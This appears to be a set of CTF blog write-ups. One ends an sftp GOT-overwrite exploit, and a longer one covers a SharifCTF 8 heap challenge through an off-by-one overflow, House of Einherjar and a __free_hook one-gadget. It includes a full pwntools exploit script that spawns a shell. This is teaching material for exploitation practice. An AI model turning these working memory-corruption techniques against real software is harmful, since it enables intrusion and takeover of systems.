With a quick lookup in our libc database I found that we have a match with Ubuntu GLIBC 2.23-0ubuntu9 (you can found it in the attached zip file)

What’s next? With the fake entry for the got that we have created before we can use put_file to overwrite the fwrite entry with system.

fwrite is used in writen and writen is called in handle_get.

bool handle_get(char* path) {
  file_entry* file = find_file(path);
  if (file) {
    printf("%zu\n", file->size);
    writen(file->data, file->size); //calls fwrite(file->data, ...)
  } else {
    printf("File \"%s\" not found.\n", path);
  }

  return true;
}

So if fwrite() is now in fact system() and the argument passed to the call in writen is file->data we must create a file that contains the command that we want execute.

libc_bin.address = u64(got[:8]) - libc_bin.symbols["fwrite"]
log.info("libc base address: 0x%x" % libc_bin.address)

put_file("cmd", "/bin/sh\x00")

target = p64(libc_bin.symbols["system"])
put_file("got", target)

p.sendline("get cmd") #system("/bin/sh")

And win!

In the following link to a zip file you can find the sftp.c source code, the sftp binary, the full exploit, the libc binary and the header that must be imported in IDA.

Attachment: https://drive.google.com/file/d/1O0-QFmp7KQ1ojANU5y75ouv6hFhm4QD0/view?usp=sharing

Rop Lesson - CC 18

2018-04-04T00:00:00+00:00

The slides for the CyberChallenge 2018 lesson about ROP exploit development:

SharifCTF 8 - t00p_secrets

2018-02-04T00:00:00+00:00

Crosspost from the TRX website

Decompiling the binary we can discover the master key. Running the program the output is this:

$ ./t00p_secrets
Welcome to SUCTF secret management service
Enter your master key: wjigaep;r[jg]ahrg[es9hrg
1. Create a secret
2. Delete a secret
3. Edit a secret
4. Print secret
5. Print a secret
6. Exit
> 

There are six options: create, delete, edit… ok it’s a heap pwn.

Exploring the create and edit options we can see that the content of a secret can be a string or a binary data.

The function that reads the content of a secret is the following:

__int64 __fastcall read_content(void *dest, signed __int64 size, __int16 is_string)
{
  __int16 v4; // [rsp+Ch] [rbp-24h]
  unsigned int v5; // [rsp+24h] [rbp-Ch]

  v4 = is_string;
  if ( size > 0 )
  {
    v5 = read(0, dest, size);
    if ( v4 )
      *((_BYTE *)dest + v5) = 0; //overflow if v5==size
  }
  return 0LL;
}

Note: dest is a buffer allocated with malloc(size).

The bug is here. If the user choice is that a secret content is a string there is an off-by-one overflow due to the string terminator.

House of Einherjar can be used to force malloc to return a pointer near an area where you can write.

The idea is to force malloc to return a pointer near the global variable ptr + 0xA in .data (where the program stores the pointers to the secrets contents) so we can write the address of __free_hook (not a GOT entry beacause there is Full RELRO) in that area and then use edit to write in __free_hook.

Firstly I used the overflow to crash the program and retrieve some offsets of libc symbols from the crash dump.

create(0, 24)
create(1, 24)
edit(0, "a"*24) #overflow, write 0 to the last byte of the size field in the chunck 1
delete(1) #free search for a free chunck in [address of 1] + 0xaaaaaaaa, so it crashes with 'free(): invalid pointer'

Using libc database I found that the service is using libc6_2.23-0ubuntu10_amd64.so.

Let’s write the exploit.

In the main procedure we can see that there is an hidden option, the seventh, that can be used to change the master key (24 bytes).

The master key is in data, above our target ptr + 0xA.

Perfect.

I used master key to forge a fake chunck. But there is a problem: a malloc chunck is 48 bytes.

So i decided to put in master_k only a part of the chunck, size + fd + bk.

struct malloc_chunk {
    INTERNAL_SIZE_T         prev_size;
    INTERNAL_SIZE_T         size; //set to 0
    struct malloc_chunk*    fd; //set to fake chunck address (master_k -8)
    struct malloc_chunk*    bk; //set to fake chunck address (master_k -8)
    struct malloc_chunk*    fd_nextsize;
    struct malloc_chunk*    bk_nextsize;
};

To prevent a corrupted prev_size vs. size crash also the other fields must be setted to 0.

But master_k, after the program start, is -1. fd_nextsize and bk_nextsize are 0, but if I used the secrets 0 and 1 they will be dirty.

Before master_k the program writes the size of each secret. So to have a valid fake chunck we must do two things:

never allocate the 0 and 1 secrets (whe have other 6 slots to use)
create the secret 7 with size 0, so prev_size is 0

Ok now to force free to consider the fake chunck a valid free chunck we must have the offset between the overflowed chunck and the fake chunck.

An heap leak is needed.

Fortunately when a secret is deleted the heap is not cleared, so we can leak the fd pointer allocating a previous free chunk.

create(2, 24)
create(3, 248)
create(4, 24)
delete(2)
delete(4)
create(4, 24, val="")

heap_leak = "\x20" + print_one(4)[1:8] #fd pointer of the secret 4 points to the secret 2 (0x20 is needed because the last byte is overwritted by newline)

The chunck that will be manipulated is the second (secret 3), at address heap_leak + 24.

Using edit we set the prev_size of this chunck to the offset between it and the fake chunck.

Calling delete on it will force malloc to use the fake chunck as the next chunck to be allocated (if the size match).

We must change again master_k to set the fake chunck size to 0x100.

Now malloc(248) returns the fake chunck address + 16.

OKKKK whe can write on the memory after master_k now! Specifically in ptr + 0xA.

But before we need a lib leak.

Just print the new chunck to get an address from the main arena (free has rewritten fd with it).

The last phase is to overwrite the pointer to already created secret content with __free_hook, use edit and write the magic gadget address in __free_hook, call free and win.

Download the binary here. Full exploit code:

#TheRomanXpl0it - andreafioraldi

from pwn import *
import sys

#########################################################
BINARY="./t00p_secrets"
HOST="ctf.sharif.edu"
PORT=22107
ENV={"LD_PRELOAD":"./libc6_2.23-0ubuntu10_amd64.so"}
GDB=""
#########################################################

if len(sys.argv) < 2:
    print "args: bin|net|crash|ida|gdb\n"
    sys.exit(1)

if sys.argv[1] == "bin":
    p = process(BINARY, env=ENV)
elif sys.argv[1] == "net" or sys.argv[1] == "crash":
    p = remote(HOST, PORT)
elif sys.argv[1] == "ida":
    p = process("./linux_server64", env=ENV)
    p.recvuntil("0.1...")
elif sys.argv[1] == "gdb":
    p = process(BINARY, env=ENV)
    gdb.attach(p, GDB)
else:
    print "args: bin|net|crash|ida|gdb\n"
    sys.exit(1)


def create(idx, size, val="0"):
    print p.recvuntil("> ")
    p.sendline("1")
    print p.recvuntil(": ")
    p.sendline(str(idx))
    print p.recvuntil(": ")
    p.sendline(str(size))
    print p.recvuntil(": ")
    p.sendline("0") #binary
    print p.recvuntil(": ")
    p.sendline(val)
    print " >> %d created" % idx

def delete(idx):
    print p.recvuntil("> ")
    p.sendline("2")
    print p.recvuntil(": ")
    p.sendline(str(idx))

def edit(idx, val, b="1"):
    print p.recvuntil("> ")
    p.sendline("3")
    print p.recvuntil(": ")
    p.sendline(str(idx))
    print p.recvuntil(": ")
    p.sendline(b) #string
    print p.recvuntil(": ")
    p.sendline(val)

def print_one(idx):
    print p.recvuntil("> ")
    p.sendline("5")
    print p.recvuntil(": ")
    p.sendline(str(idx))
    print p.recvline(False)
    print p.recvuntil(": ")
    r = p.recvuntil("-----***-----")
    print r
    return r

def change_key(k):
    print p.recvuntil("> ")
    p.sendline("7")
    print p.recvuntil(": ")
    p.sendline(k)
    print p.recvuntil(": ")
    p.sendline(k)


print p.recvuntil("key: ")
p.sendline("wjigaep;r[jg]ahrg[es9hrg")

if sys.argv[1] == "crash": #use offsets in dump to discover the libc version
    create(0,24)
    create(1,24)
    edit(0, "a"*24)
    delete(1)

    print p.recvall()
    p.close()
    sys.exit(0)

### PHASE 1 - CRAFT FAKE CHUNCK ###

master_k = 0x06020A0

fake_chunk_addr = master_k -8
fake_chunk_from_size = p64(0) + p64(fake_chunk_addr) + p64(fake_chunk_addr)

change_key(fake_chunk_from_size)

print " >> fake chunck addr: " + hex(fake_chunk_addr)

### PHASE 2 - HEAP LEAK ###

create(2,24)
create(3,248, val="BBB")
create(4,24)
delete(2)
delete(4)
create(4,24, val="")

heap_leak = "\x20" + print_one(4)[1:8]
first_addr = u64(heap_leak)
print " >> first addr: " + hex(first_addr)

second_addr = first_addr + 32

### PHASE 3 - PREPARE FAKE CHUNCK ###

create(2,24, val="AAAA")

create(7,0, val="") #clear fake_chunk[0]

### PHASE 4 - OFF BY ONE OVERFLOW ###

off = fake_chunk_addr - (second_addr -16)
print " >>> new prev_size: " + hex(-off)
edit(2,"a"*16+p64(-off))

delete(3) #trigger

### PHASE 5 - MALLOC RETURN FAKE_CHUNK + 16 ###

fake_chunk_from_size = p64(0x100) + p64(fake_chunk_addr) + p64(fake_chunk_addr)
change_key(fake_chunk_from_size)

create(3, 248 , val="")

forged = fake_chunk_addr + 16 #now 3 is master_k+8

### PHASE 5 - LIBC LEAK FROM ARENA ###

libc_leak = print_one(3)[:8]
libc_addr = u64(libc_leak) - 0x3c4b0a
print " >> libc addr: " + hex(libc_addr)

ptr_2 = 0x00602068 + (2+0xa)*8
print " >> ptr secret 2: " + hex(ptr_2)

libc = ELF("libc6_2.23-0ubuntu10_amd64.so")

### PHASE 6 - REWRITE POINTER WITH FREE_HOOK ###

edit(3, "\0"*(ptr_2 - forged) + p64(libc_addr + libc.symbols["__free_hook"]), b="0")

### PHASE 7- WRITE THE ONE CALL GADGET ADDRESS IN FREE_HOOK ###

magic = libc_addr + 0x0000000004526a
edit(2, p64(magic), b="0")

### PHASE 8 - PWN ###

delete(7) #WIN

p.interactive()